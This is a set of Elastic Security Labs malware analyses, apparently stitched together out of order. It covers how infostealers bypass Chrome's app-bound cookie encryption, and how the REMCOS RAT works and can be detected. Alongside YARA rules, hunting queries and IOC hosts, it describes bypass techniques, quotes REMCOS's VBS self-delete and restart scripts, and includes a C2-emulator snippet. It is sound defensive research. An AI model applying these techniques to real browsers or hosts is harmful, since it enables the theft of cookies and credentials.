For each node, it calls ReadProcessMemory to access the CanonicalCookieChrome structure from the target process’s memory, then further processing it in jy::GenerateExfilString.

STEALC formats the extracted cookie data by converting the expiration date to UNIX format and verifying the presence of the HttpOnly and Secure flags. It then appends details such as the cookie's name, value, domain, path, and the HttpOnly and Secure into a final string for exfiltration. OptimizedString structs are used in place of strings, so string values can either be the string itself, or if the string length is greater than 23, it will point to the address storing the string.

METASTEALER

METASTEALER, first observed in 2022, recently upgraded its ability to steal Chrome data, bypassing Google’s latest mitigation efforts. On September 30th, the malware authors announced this update via their Telegram channel, highlighting its enhanced capability to extract sensitive information, including cookies, despite the security changes in Chrome's version 129+.

The first sample observed in the wild by our team was discovered on September 30th, the same day the authors promoted the update. Despite claims that the malware operates without needing Administrator privileges, our testing revealed it does require elevated access, as it attempts to impersonate the SYSTEM token during execution.

As shown in the screenshots above, the get_decryption method now includes a new Boolean parameter. This value is set to TRUE if the encrypted data (cookie) begins with the v20 prefix, indicating that the cookie is encrypted using Chrome's latest encryption method. The updated function retains backward compatibility, still supporting the decryption of cookies from older Chrome versions if present on the infected machine.

The malware then attempts to access the Local State or LocalPrefs.json files located in the Chrome profile directory. Both files are JSON formatted and store encryption keys (encrypted_key) for older Chrome versions and app_bound_encrypted_key for newer ones. If the flag is set to TRUE, the malware specifically uses the app_bound_encrypted_key to decrypt cookies in line with the updated Chrome encryption method.

In this case, the malware first impersonates the SYSTEM token using a newly introduced class called ContextSwitcher.

It then decrypts the key by creating an instance via the COM of the Chrome service responsible for decryption, named GoogleChromeElevationService, using the CLSID 708860E0-F641-4611-8895-7D867DD3675B. Once initialized, it invokes the DecryptData method to decrypt the app_bound_encrypted_key key which will be used to decrypt the encrypted cookies.

METASTEALER employs a technique similar to the one demonstrated in a gist shared on X on September 27th, which may have served as inspiration for the malware authors. Both approaches leverage similar methods to bypass Chrome's encryption mechanisms and extract sensitive data.

PHEMEDRONE

This open-source stealer caught the world’s attention earlier in the year through its usage of a Windows SmartScreen vulnerability (CVE-2023-36025). While its development is still occurring on Telegram, our team found a recent release (2.3.2) submitted at the end of September including new cookie grabber functionality for Chrome.

The malware first enumerates the different profiles within Chrome, then performs a browser check using function (BrowserHelpers.NewEncryption) checking for the Chrome browser with a version greater than or equal to 127.

If the condition matches, PHEMEDRONE uses a combination of helper functions to extract the cookies.

By viewing the ChromeDevToolsWrapper class and its different functions, we can see that PHEMEDRONE sets up a remote debugging session within Chrome to access the cookies. The default port (9222) is used along with window-position set to -2400,-2400 which is set off-screen preventing any visible window from alerting the victim.

Next, the malware establishes a WebSocket connection to Chrome’s debugging interface making a request using deprecated Chrome DevTools Protocol method (Network.getAllCookies).

The cookies are then returned from the previous request in plaintext, below is a network capture showing this behavior:

XENOSTEALER

XENOSTEALER is an open-source infostealer hosted on GitHub. It appeared in July 2024 and is under active development at the time of this publication. Notably, the Chrome bypass feature was committed on September 26, 2024.

The approach taken by XENOSTEALER is similar to that of METASTEALER. It first parses the JSON file under a given Chrome profile to extract the app_bound_encrypted_key. However, the decryption process occurs within a Chrome process. To achieve this, XENOSTEALER launches an instance of Chrome.exe, then injects code using a helper class called SharpInjector, passing the encrypted key as a parameter.

The injected code subsequently calls the DecryptData method from the GoogleChromeElevationService to obtain the decrypted key.

LUMMA

In mid-October, the latest version of LUMMA implemented a new method to bypass Chrome cookie protection, as reported by @g0njxa.

We analyzed a recent version of LUMMA, confirming that it managed to successfully recover the cookie data from the latest version of Google Chrome (130.0.6723.70). LUMMA first creates a visible Chrome process via Kernel32!CreateProcessW.

This activity was followed up in the debugger with multiple calls to NtReadVirtualMemory where we identified LUMMA searching within the Chrome process for chrome.dll.

Once found, the malware copies the chrome.dll image to its own process memory using NtReadVirtualMemory. In a similar fashion to the ChromeKatz technique, Lumma leverages pattern scanning to target Chrome’s CookieMonster component.

Lumma uses an obfuscated signature pattern to pinpoint the CookieMonster functionality:

3Rf5Zn7oFA2a????k4fAsdxx????l8xX5vJnm47AUJ8uXUv2bA0s34S6AfFA????kdamAY3?PdE????6G????L8v6D8MJ4uq????k70a?oAj7a3????????K3smA????maSd?3l4

Below is the YARA rule after de-obfuscation:

rule lumma_stealer
{
  meta:
    author = "Elastic Security Labs"
  strings:
    $lumma_pattern = { 56 57 48 83 EC 28 89 D7 48 89 CE E8 ?? ?? ?? ?? 85 FF 74 08 48 89 F1 E8 ?? ?? ?? ?? 48 89 F0 48 83 C4 28 5F 5E C3 CC CC CC CC CC CC CC CC CC CC 56 57 48 83 EC 38 48 89 CE 48 8B 05 ?? ?? ?? ?? 48 31 E0 48 89 44 24 ?? 48 8D 79 ?? ?? ?? ?? 28 E8 ?? ?? ?? ?? 48 8B 46 20 48 8B 4E 28 48 8B 96 ?? ?? ?? ?? 4C 8D 44 24 ?? 49 89 10 48 C7 86 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 FA FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 31 E1}
  condition:
    all of them
}

After decoding and searching for the pattern in chrome.dll, this leads to the CookieMonster destructor (net::CookieMonster::~CookieMonster).

The cookies are then identified in memory and dumped out in clear text from the Chrome process.

Once completed, LUMMA sends out the cookies along with the other requested data as multiple zip files (xor encrypted and base64 encoded) to the C2 server.

Detection

Below are the following behavioral detections that can be used to identify techniques used by information stealers:

• Web Browser Credential Access via Unusual Process
• Web Browser Credential Access via Unsigned Process
• Access to Browser Credentials from Suspicious Memory
• Failed Access Attempt to Web Browser Files
• Browser Debugging from Unusual Parent
• Potential Browser Information Discovery

Additionally, the following queries can be used for hunting diverse related abnormal behaviors:

Cookies access by an unusual process

This query uses file open events and aggregate accesses by process, then looks for ones that are observed in unique hosts and with a low total access count:

FROM logs-endpoint.events.file-default*
| where event.category == "file" and event.action == "open" and file.name == "Cookies" and file.path like "*Chrome*"
| keep file.path, process.executable, agent.id
| eval process_path = replace(to_lower(process.executable), """c:\\users\\[a-zA-Z0-9\.\-\_\$]+\\""", "c:\\\\users\\\\user\\\\")
| stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by process_path
| where agents_count <= 2 and access_count <=2

Below example of matches from diverse information stealers including the updated ones with new Chrome cookies stealing capabilities:

METASTEALER behavior tends to first terminate all running chrome instances then calls CoCreateInstance to instantiate the Google Chrome elevation service, this series of events can be expressed with the following EQL query:

sequence by host.id with maxspan=1s
[process where event.action == "end" and process.name == "chrome.exe"] with runs=5
[process where event.action == "start" and process.name == "elevation_service.exe"]

The previous hunt indicates suspicious agents but doesn't identify the source process. By enabling registry object access auditing through event 4663 on the Chrome Elevation service CLSID registry key {708860E0-F641-4611-8895-7D867DD3675B}, we can detect unusual processes attempting to access that key:

FROM logs-system.security-default* | where event.code == "4663" and winlog.event_data.ObjectName == "\\REGISTRY\\MACHINE\\SOFTWARE\\Classes\\CLSID\\{708860E0-F641-4611-8895-7D867DD3675B}" and not winlog.event_data.ProcessName in ("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe") and not winlog.event_data.ProcessName like "C:\\\\Program Files\\\\Google\\\\Chrome\\\\Application\\\\*\\\\elevation_service.exe" | stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by winlog.event_data.ProcessName | where agents_count <= 2 and access_count <=2

Below is an example of matches on the METASTEALER malware while calling CoCreateInstance (CLSID_Elevator):

The PHEMEDRONE stealer uses the known browser debugging method to collect cookies via Chromium API, this can be observed in the following screenshot where we can see an instance of NodeJs communicating with a browser instance with debugging enabled over port 9222:

The following EQL query can be used to look for unusual processes performing similar behavior:

sequence by host.id, destination.port with maxspan=5s
[network where event.action == "disconnect_received" and
 network.direction == "ingress" and
 process.executable in~ ("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe") and
 source.address like "127.*" and destination.address like "127.*"]
[network where event.action == "disconnect_received" and network.direction == "egress" and not
 process.executable in~ ("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe") and source.address like "127.*" and destination.address like "127.*"]

Chrome Browser Spawned from an Unusual Parent

The STEALC sample that uses ChromeKatz implementation spawns an instance of Google Chrome to load the user default profile, while looking for normal parent executables, it turns out it’s limited to Chrome signed parents and Explorer.exe, the following ES|QL query can be used to find unusual parents:

FROM logs-endpoint.events.process-*
| where event.category == "process" and event.type == "start" and to_lower(process.name) == "chrome.exe" and process.command_line like  "*--profile-directory=Default*"
| eval process_parent_path = replace(to_lower(process.parent.executable), """c:\\users\\[a-zA-Z0-9\.\-\_\$]+\\""", "c:\\\\users\\\\user\\\\")
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process_parent_path
| where agents_count == 1 and total_executions <= 10

Untrusted Binaries from Chrome Application folder

Since the Chrome elevation service trusts binaries running from the Chrome program files folder, the following queries can be used to hunt for unsigned or untrusted binaries executed or loaded from there:

Unsigned DLLs loaded from google chrome application folder

FROM logs-endpoint.events.library*
| where event.category == "library" and event.action == "load" and to_lower(dll.path) like "c:\\\\program files\\\\google\\\\chrome\\\\application\\\\*" and not (dll.code_signature.trusted == true)
| keep process.executable, dll.path, dll.hash.sha256, agent.id
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, dll.path, dll.hash.sha256
| where agents_count == 1 and total_executions <= 10

Unsigned executable launched from google chrome application folder

FROM logs-endpoint.events.process*
| where event.category == "library" and event.type == "start" and (to_lower(process.executable) like "c:\\\\program files\\\\google\\\\chrome\\\\application\\\\*" or to_lower(process.executable) like "c:\\\\scoped_dir\\\\program files\\\\google\\\\chrome\\\\application\\\\*")
and not (process.code_signature.trusted == true and process.code_signature.subject_name == "Goole LLC")
| keep process.executable,process.hash.sha256, agent.id
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, process.hash.sha256
| where agents_count == 1 and total_executions <= 10

Conclusion

Google has raised the bar implementing new security controls to protect cookie data within Chrome. As expected, this has caused malware developers to develop or integrate their own bypasses. We hope Google will continue to innovate to provide stronger protection for user data.

Organizations and defenders should consistently monitor for unusual endpoint activity. While these new techniques may be successful, they are also noisy and detectable with the right security instrumentation, processes, and personnel.

Stealer Bypasses and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Credential Access
• Defense Evasion
• Discovery
• Execution

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Steal Web Session Cookie
• Process Injection
• Credentials from Password Stores
• System Information Discovery
• Process Discovery
• Inter-Process Communication: Component Object Model

YARA

Elastic Security has created YARA rules to identify this activity.

• Windows.Trojan.Stealc
• Windows.Infostealer.PhemedroneStealer
• Windows.Trojan.MetaStealer
• Windows.Trojan.Xeno
• Windows.Trojan.Lumma
• Windows.Infostealer.Generic

Observations

All observables are also available for download in both ECS and STIX format.

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://developer.chrome.com/release-notes/127
• https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html

In previous articles in this multipart series [1] [2] [3], malware researchers on the Elastic Security Labs team decomposed the REMCOS configuration structure and gave details about its C2 commands. In this final part, you’ll learn more about detecting and hunting REMCOS using Elastic technologies.

Detection and Hunt

The following Elastic Defend detections trigger on those techniques:

Persistence (Run key)

• Startup Persistence by a Low Reputation Process

Process Injection

• Windows.Trojan.Remcos, shellcode_thread (triggers multiple times on both watchdog and main REMCOS injected processes)
• Potential Masquerading as SVCHOST (REMCOS watchdog default to an injected svchost.exe child instance)
• Remote Process Injection via Mapping (triggers on both watchdog and injecting C:\Program Files (x86)\Internet Explorer\iexplore.exe)

Privilege Escalation (UAC Bypass)

• UAC Bypass via ICMLuaUtil Elevated COM Interface

Evasion (Disable UAC)

• Disabling User Account Control via Registry Modification (REMCOS spawns cmd.exe that uses reg.exe to disable UAC via registry modification)

Command and Control

• Connection to Dynamic DNS Provider by an Unsigned Binary (although it’s not a requirement but most of the observed samples use dynamic DNS)

File Deletion

• Remcos RAT INETCookies File Deletion

Modify Registry

• Remcos RAT ExePath Registry Modification

The ExePath registry value used by the REMCOS watchdog process can be used as an indicator of compromise. Below is a KQL query example :

event.category:"registry" and event.action:"modification" and 
registry.value:"EXEpath" and not process.code_signature.trusted:true

REMCOS includes three options for clearing browser data, possibly in an attempt to force victim users to re-enter their web credentials for keylogging:

• enable_browser_cleaning_on_startup_flag
• enable_browser_cleaning_only_for_the_first_run_flag
• browser_cleaning_sleep_time_in_minutes

This results in the deletion of browser cookies and history-related files. The following KQL query can be used to hunt for such behavior by an unsigned process:

event.category:file and event.action:deletion and file.name:container.dat and 
file.path:*INetCookies* and not process.code_signature.trusted:true

REMCOS also employs three main information collection methods. The first one is keylogging via SetWindowsHookEx API. The following ES|QL can be used to hunt for rare or unusual processes performing this behavior:

from logs-endpoint.events.api*

/* keylogging can be done by calling SetwindowsHook to hook keyboard events */

| where event.category == "api" and process.Ext.api.name == "SetWindowsHookEx" and process.Ext.api.parameters.hook_type like "WH_KEYBOARD*"

/* normalize process paths to ease aggregation by process path */

| eval process_path = replace(process.executable, """([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}|ns[a-z][A-Z0-9]{3,4}\.tmp|DX[A-Z0-9]{3,4}\.tmp|7z[A-Z0-9]{3,5}\.tmp|[0-9\.\-\_]{3,})""", "")
| eval process_path = replace(process_path, """[cC]:\\[uU][sS][eE][rR][sS]\\[a-zA-Z0-9\.\-\_\$~]+\\""", "C:\\\\users\\\\user\\\\")

/* limit results to those that are unique to a host across the agents fleet */

| stats occurrences = count(*), agents = count_distinct(host.id) by process_path
| where occurrences == 1 and agents == 1

Below is an example of matches on iexplore.exe (injected by REMCOS):

The second method takes multiple screenshots and saves them as jpg files with a specific naming pattern starting with time_year-month-day_hour-min-sec.jpb (e.g. time_20240308_171037.jpg). The following ES|QL hunt can be used to identify suspicious processes with similar behavior :

from logs-endpoint.events.file*

/* remcos screenshots naming pattern */

| where event.category == "file" and host.os.family == "windows" and event.action == "creation" and file.extension == "jpg" and file.name rlike """time_202\d{5}_\d{6}.jpg"""
| stats occurrences = count(*), agents = count_distinct(host.id) by process.name, process.entity_id 
 
 /* number of screenshots i more than 5 by same process.pid and this behavior is limited to a unique host/process */

| where occurrences >= 5 and agents == 1

The following image shows both REMCOS and the injected iexplore.exe instance (further investigation can be done by pivoting by the process.entity_id):

The third collection method is an audio recording saved as WAV files. The following ES|QL hunt can be used to find rare processes dropping WAV files:

from logs-endpoint.events.file*
| where event.category == "file" and host.os.family == "windows" and event.action == "creation" and file.extension == "wav"

/* normalize process paths to ease aggregation by process path */

| eval process_path = replace(process.executable, """([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}|ns[a-z][A-Z0-9]{3,4}\.tmp|DX[A-Z0-9]{3,4}\.tmp|7z[A-Z0-9]{3,5}\.tmp|[0-9\.\-\_]{3,})""", "")
| eval process_path = replace(process_path, """[cC]:\\[uU][sS][eE][rR][sS]\\[a-zA-Z0-9\.\-\_\$~]+\\""", "C:\\\\users\\\\user\\\\")
| stats wav_files_count = count(*), agents = count_distinct(host.id) by process_path

/* limit results to unique process observed in 1 agent and number of dropped wav files is less than 20 */

| where agents == 1 and wav_files_count <= 10

The following ES|QL hunt can also look for processes that drop both JPG and WAV files using the same process.pid :

from logs-endpoint.events.file*
| where event.category == "file" and host.os.family == "windows" and event.action == "creation" and file.extension in ("wav", "jpg") and 

/* excluding privileged processes and limiting the hunt to unsigned 
process or signed by untrusted certificate or signed by Microsoft */

not user.id in ("S-1-5-18", "S-1-5-19", "S-1-5-20") and (process.code_signature.trusted == false or process.code_signature.exists == false or starts_with(process.code_signature.subject_name, "Microsoft")) 
| eval wav_pids = case(file.extension == "wav", process.entity_id, null), jpg_pids = case(file.extension == "jpg", process.entity_id, null), others = case(file.extension != "wav" and file.extension != "jpg", process.entity_id, null)

/* number of jpg and wav files created by unique process identifier */

| stats count_wav_files = count(wav_pids), count_jpg_files = count(jpg_pids), other_files = count(others) by process.entity_id, process.name

/* limit results to same process dropping both file extensions */

| where count_jpg_files >= 1 and count_wav_files >= 1

Examples of matches on both REMCOS and the injected iexplore.exe process:

Pivoting by process.entity_id to further investigate suspicious processes, installers, browsers, and decompression utilities are often the most observed false positives.

YARA rule

The REMCOS version 4.9.3 is detected statically using the following YARA rule produced by Elastic Security Labs

Malware and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Execution
• Persistence
• Privilege Escalation
• Defense Evasion
• Credential Access
• Discovery
• Command and Control

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Windows Command Shell
• Visual Basic
• Registry Run Keys / Startup Folder
• Process Injection
• Credentials from Web Browsers
• Encrypted Channel
• System Binary Proxy Execution: CMSTP
• Bypass User Account Control

Conclusion

As the REMCOS continues to rapidly evolve, our in-depth analysis of version 4.9.3 offers critical insights that can significantly aid the malware research community in comprehending and combatting this pervasive threat.

By uncovering its features and capabilities in this series, we provide essential information that enhances understanding and strengthens defenses against this malicious software.

We've also shown that our Elastic Defend product can detect and stop the REMCOS threat. As this article demonstrates, our new query language, ES|QL, makes hunting for threats simple and effective.

Elastic Security Labs remains committed to this endeavor as part of our open-source philosophy, which is dedicated to sharing knowledge and collaborating with the broader cybersecurity community. Moving forward, we will persist in analyzing similar malware families, contributing valuable insights to bolster collective defense against emerging cyber threats.

Sample hashes and C2s

(Analysis reference) 0af76f2897158bf752b5ee258053215a6de198e8910458c02282c2d4d284add5

remchukwugixiemu4.duckdns[.]org:57844

remchukwugixiemu4.duckdns[.]org:57846

remchukwugix231fgh.duckdns[.]org:57844

remchukwugix231fgh.duckdns[.]org:57846

3e32447ea3b5f07c7f6a180269f5443378acb32c5d0e0bf01a5e39264f691587

122.176.133[.]66:2404

122.176.133[.]66:2667

8c9202885700b55d73f2a76fbf96c1b8590d28b061efbadf9826cdd0e51b9f26

43.230.202[.]33:7056

95dfdb588c7018babd55642c48f6bed1c281cecccbd522dd40b8bea663686f30

107.175.229[.]139:8087

517f65402d3cf185037b858a5cfe274ca30090550caa39e7a3b75be24e18e179

money001.duckdns[.]org:9596

b1a149e11e9c85dd70056d62b98b369f0776e11b1983aed28c78c7d5189cfdbf

104.250.180[.]178:7902

ba6ee802d60277f655b3c8d0215a2abd73d901a34e3c97741bc377199e3a8670

185.70.104[.]90:2404

185.70.104[.]90:8080

185.70.104[.]90:465

185.70.104[.]90:80

77.105.132[.]70:80

77.105.132[.]70:8080

77.105.132[.]70:2404

77.105.132[.]70:465

Research references

• https://www.fortinet.com/blog/threat-research/latest-remcos-rat-phishing
• https://www.jaiminton.com/reverse-engineering/remcos
• https://breakingsecurity.net/wp-content/uploads/dlm_uploads/2018/07/Remcos_Instructions_Manual_rev22.pdf

The configuration

In this section, we provide a comprehensive overview of the configuration fields of the malware.

Configuration Table

Researchers successfully recovered approximately 80% of the configuration structure (45 out of 56 fields). We provide detailed configuration information in the following table:

Integer to path mapping

REMCOS utilizes custom mapping for some of its "folder" fields instead of a string provided by the user.

We provide details of the mapping below:

Configuration extraction, an inside perspective

We enjoy building tools, and we'd like to take this opportunity to provide some insight into the type of tools we develop to aid in our analysis of malware families like REMCOS.

We developed a configuration extractor called "conf-tool", which not only extracts and unpacks the configuration from specific samples but can also repackage it with modifications.

First, we unpack the configuration.

The configuration is saved to the disk as a JSON document, with each field mapped to its corresponding type.

We are going to replace all the domains in the list with the IP address of our C2 emulator to initiate communication with the sample.

We are also enabling the logging mode to console (2):

Once we're done, repack everything:

And voilà, we have the console, and the sample attempts to connect to our emulator!

We are releasing a REMCOS malware configuration extractor that includes some of these features.

C2 commands

In this section, we present a list of all the commands we've reversed that are executable by the Command and Control (C2). Furthermore, we provide additional details for a select subset of commands.

Command table

Researchers recovered approximately 95% of the commands (74 out of 78). We provide information about the commands in the following table:

ListInstalledApplications command

To list installed applications, REMCOS iterates over the Software\Microsoft\Windows\CurrentVersion\Uninstall registry key. For each subkey, it queries the following values:

• DisplayName
• Publisher
• DisplayVersion
• InstallLocation
• InstallDate
• UninstallString

ExecuteShellCmd command

Shell commands are executed using the ShellExecuteW API with cmd.exe /C {command} as arguments.

GetHostGeolocation command

To obtain host geolocation, REMCOS utilizes the geoplugin.net API and directly uploads the returned JSON data.

StartOnlineKeylogger command

The online keylogger employs the same keylogger structure as the offline version. However, instead of writing the data to the disk, the data is sent live to the C2.

StartWebcamModule command

REMCOS uses an external module for webcam recording. This module is a DLL that must be received and loaded from its C2 as part of the command parameters.

Once the module is loaded, you can send a sub-command to capture and upload a webcam picture.

StealPasswords command

Password stealing is likely carried out using 3 different Nirsoft binaries, identified by the "/sext" parameters. These binaries are received from the C2 and injected into a freshly created process. Both elements are part of the command parameters.

The /sext parameter instructs the software to write the output to a file, each output filename is randomly generated and stored in the malware installation folder. Once their contents are read and uploaded to the C2, they are deleted.

An additional DLL, with a FoxMailRecovery export, can also be utilized. Like the other binaries, the DLL is received from the C2 as part of the command parameters. As the name implies the DLLis likely to be used to dump FoxMail data

Uninstall command

The uninstall command will delete all Remcos-related files and persistence registry keys from the host machine.

First, it kills the watchdog process.

Then, it deletes all the recording files (keylogging, screenshots, and audio recordings).

Then, it deletes its registry persistence keys.

Finally, it deletes its installation files by creating and executing a Visual Basic script in the %TEMP% folder with a random filename, then terminates its process.

Below the generated script with comments.

' Continue execution even if an error occurs
On Error Resume Next

' Create a FileSystemObject
Set fso = CreateObject("Scripting.FileSystemObject")

' Loop while the specified file exists
while fso.FileExists("C:\Users\Cyril\Desktop\corpus\0af76f2897158bf752b5ee258053215a6de198e8910458c02282c2d4d284add5.exe")

' Delete the specified file
fso.DeleteFile "C:\Users\Cyril\Desktop\corpus\0af76f2897158bf752b5ee258053215a6de198e8910458c02282c2d4d284add5.exe"

' End of the loop
wend

' Delete the script itself
fso.DeleteFile(Wscript.ScriptFullName)

Restart command

The Restart command kills the watchdog process and restarts the REMCOS binary using a generated Visual Basic script.

Below is the generated script with comments.

' Create a WScript.Shell object and run a command in the command prompt
' The command runs the specified .exe file
' The "0" argument means the command prompt window will not be displayed
CreateObject("WScript.Shell").Run "cmd /c ""C:\Users\Cyril\Desktop\corpus\0af76f2897158bf752b5ee258053215a6de198e8910458c02282c2d4d284add5.exe""", 0

' Create a FileSystemObject and delete the script itself
CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)

DumpBrowserHistoryUsingNirsoft command

Like the StealPasswords command, the DumpBrowserHistoryUsingNirsoft command steals browser history using likely another Nirsoft binary received from the C2 as part of the command parameter. Again, we identify the binary as part of Nirsoft because of the /stext parameter.

ElevateProcess command

The ElevateProcess command, if the process isn’t already running with administrator privileges, will set the HKCU/SOFTWARE/{mutex}/elev registry key and restart the malware using the same method as the Restart command.

Upon restart, the REMCOS checks the elev value as part of its initialization phase. If the value exists, it'll delete it and utilize its UAC bypass feature to elevate its privileges.

That’s the end of the third article. In the final part we’ll cover detection and hunt strategies of REMCOS using Elastic technologies.

Starting watchdog

If the enable_watchdog_flag (index 0x32) is enabled, the REMCOS will activate its watchdog feature.

This feature involves the malware launching a new process, injecting itself into it, and monitoring the main process. The goal of the watchdog is to restart the main process in case it gets terminated. The main process can also restart the watchdog if it gets terminated.

The target binary for watchdog injection is selected from a hardcoded list, choosing the first binary for which the process creation and injection are successful:

• svchost.exe
• rmclient.exe
• fsutil.exe

In this example, the watchdog process is svchost.exe.

The registry value HKCU/SOFTWARE/{MUTEX}/WD is created before starting the watchdog process and contains the main process PID.

Once REMCOS is running in the watchdog process, it takes a "special" execution path by verifying if the WD value exists in the malware registry key. If it does, the value is deleted, and the monitoring procedure function is invoked.

It is worth noting that the watchdog process has a special mutex to differentiate it from the main process mutex. This mutex string is derived from the configuration (index 0xE) and appended with -W.

When the main process is terminated, the watchdog detects it and restarts it using the ShellExecuteW API with the path to the malware binary retrieved from the HKCU/SOFTWARE/{mutex}/exepath registry key

Starting recording threads

Keylogging thread

The offline keylogger has two modes of operation:

1. Keylog everything
2. Enable keylogging when specific windows are in the foreground

When the keylogger_mode (index 0xF) field is set to 1 or 2 in the configuration, REMCOS activates its "Offline Keylogger" capability.

Keylogging is accomplished using the SetWindowsHookExA API with the WH_KEYBOARD_LL constant.

The file where the keylogging data is stored is built using the following configuration fields:

• keylogger_root_directory (index 0x31)
• keylogger_parent_directory (index 0x10)
• keylogger_filename (index 0x11)

The keylogger file path is {keylogger_root_directory}/{keylogger_parent_directory}/{keylogger_filename}. In this case, it will be %APPDATA%/keylogger.dat.

The keylogger file can be encrypted by enabling the enable_keylogger_file_encryption_flag (index 0x12) flag in the configuration. It will be encrypted using the RC4 algorithm and the configuration key.

The file can also be made super hidden by enabling the enable_keylogger_file_hiding_flag (index 0x13) flag in the configuration.

When using the second keylogging mode, you need to set the keylogger_specific_window_names (index 0x2A) field with strings that will be searched in the current foreground window title every 5 seconds.

Upon a match, keylogging begins. Subsequently, the current foreground window is checked every second to stop the keylogger if the title no longer contains the specified strings.

Screen recording threads

When the enable_screenshot_flag (index 0x14) is enabled in the configuration, REMCOS will activate its screen recording capability.

To take a screenshot, REMCOS utilizes the CreateCompatibleBitmap and the BitBlt Windows APIs. If the enable_screenshot_mouse_drawing_flag (index 0x35) flag is enabled, the mouse is also drawn on the bitmap using the GetCursorInfo, GetIconInfo, and the DrawIcon API.

The path to the folder where the screenshots are stored is constructed using the following configuration:

• screenshot_parent_directory (index 0x19)
• screenshot_folder (index 0x1A)

The final path is {screenshot_parent_directory}/{screenshot_folder}.

REMCOS utilizes the screenshot_interval_in_minutes (index 0x15) field to capture a screenshot every X minutes and save it to disk using the following format string: time_%04i%02i%02i_%02i%02i%02i.

Similarly to keylogging data, when the enable_screenshot_encryption_flag (index 0x1B) is enabled, the screenshots are saved encrypted using the RC4 encryption algorithm and the configuration key.

At the top, REMCOS has a similar "specific window" feature for its screen recording as its keylogging capability. When the enable_screenshot_specific_window_names_flag (index 0x16) is set, a second screen recording thread is initiated.

This time, it utilizes the screenshot_specific_window_names (index 0x17) list of strings to capture a screenshot when the foreground window title contains one of the specified strings. Screenshots are taken every X seconds, as specified by the screenshot_specific_window_names_interval_in_seconds (index 0x18) field.

In this case, the screenshots are saved on the disk using a different format string: wnd_%04i%02i%02i_%02i%02i%02i. Below is an example using ["notepad"] as the list of specific window names and setting the Notepad process window in the foreground.

Audio recording thread

When the enable_audio_recording_flag (index 0x23) is enabled, REMCOS initiates its audio recording capability.

The recording is conducted using the Windows Wave* API. The duration of the recording is specified in minutes by the audio_recording_duration_in_minutes (0x24) configuration field.

After recording for X minutes, the recording file is saved, and a new recording begins. REMCOS uses the following configuration fields to construct the recording folder path:

• audio_record_parent_directory (index 0x25)
• audio_record_folder (index 0x26)

The final path is {audio_record_parent_directory}/{audio_record_folder}. In this case, it will be C:\MicRecords. Recordings are saved to disk using the following format: %Y-%m-%d %H.%M.wav.

Communication with the C2

After initialization, REMCOS initiates communication with its C2. It attempts to connect to each domain in its c2_list (index 0x0) until one responds.

According to previous research, communication can be encrypted using TLS if enabled for a specific C2. In such cases, the TLS engine will utilize the tls_raw_certificate (index 0x36), tls_key (index 0x37), and tls_raw_peer_certificate (index 0x38) configuration fields to establish the TLS tunnel.

It's important to note that in this scenario, only one peer certificate can be provided for multiple TLS-enabled C2 domains. As a result, it may be possible to identify other C2s using the same certificate.

Once connected we received our first packet:

As described in depth by Fortinet, the protocol hasn't changed, and all packets follow the same structure:

• (orange)magic_number: \x24\x04\xff\x00
• (red)data_size: \x40\x03\x00\x00
• (green)command_id (number): \0x4b\x00\x00\x00
• (blue)data fields separated by |\x1e\x1e\1f|

After receiving the first packet from the malware, we can send our own command using the following functions.

MAGIC = 0xFF0424
SEPARATOR = b"\x1e\x1e\x1f|"


def build_command_packet(command_id: int, command_data: bytes) -> bytes:
	return build_packet(command_id.to_bytes(4, byteorder="little") + command_data)


def build_packet(data: bytes) -> bytes:
	packet = MAGIC.to_bytes(4, byteorder="little")
	packet += len(data).to_bytes(4, byteorder="little")
	packet += data
	return packet

Here we are going to change the title of a Notepad window using the command 0x94, passing as parameters its window handle (329064) and the text of our choice.

def main() -> None:
	server_0 = nclib.TCPServer(("192.168.204.1", 8080))

	for client in server_0:
    	print(client.recv_all(5))

    	client.send(build_command_packet(
            			0x94,
            			b"329064" + SEPARATOR + "AM_I_A_JOKE_TO_YOU?".encode("utf-16-le")))

That’s the end of the second article. The third part will cover REMCOS' configuration and its C2 commands.

Introduction

Elastic Security Labs continues its examination of high-impact threats, focusing on the internal complexities of REMCOS version 4.9.3 Pro (November 26, 2023).

Developed by Breaking-Security, REMCOS is a piece of software that began life as a red teaming tool but has since been adopted by threats of all kinds targeting practically every sector.

When we performed our analysis in mid-January, it was the most prevalent malware family reported by ANY.RUN. Furthermore, it remains under active development, as evidenced by the recent announcement of version 4.9.4's release by the company on March 9, 2024.

All the samples we analyzed were derived from the same REMCOS 4.9.3 Pro x86 build. The software is coded in C++ with intensive use of the std::string class for its string and byte-related operations.

REMCOS is packed with a wide range of functionality, including evasion techniques, privilege escalation, process injection, recording capabilities, etc.

This article series provides an extensive analysis of the following:

• Execution and capabilities
• Detection and hunting strategies using Elastic’s ES|QL queries
• Recovery of approximately 80% of its configuration fields
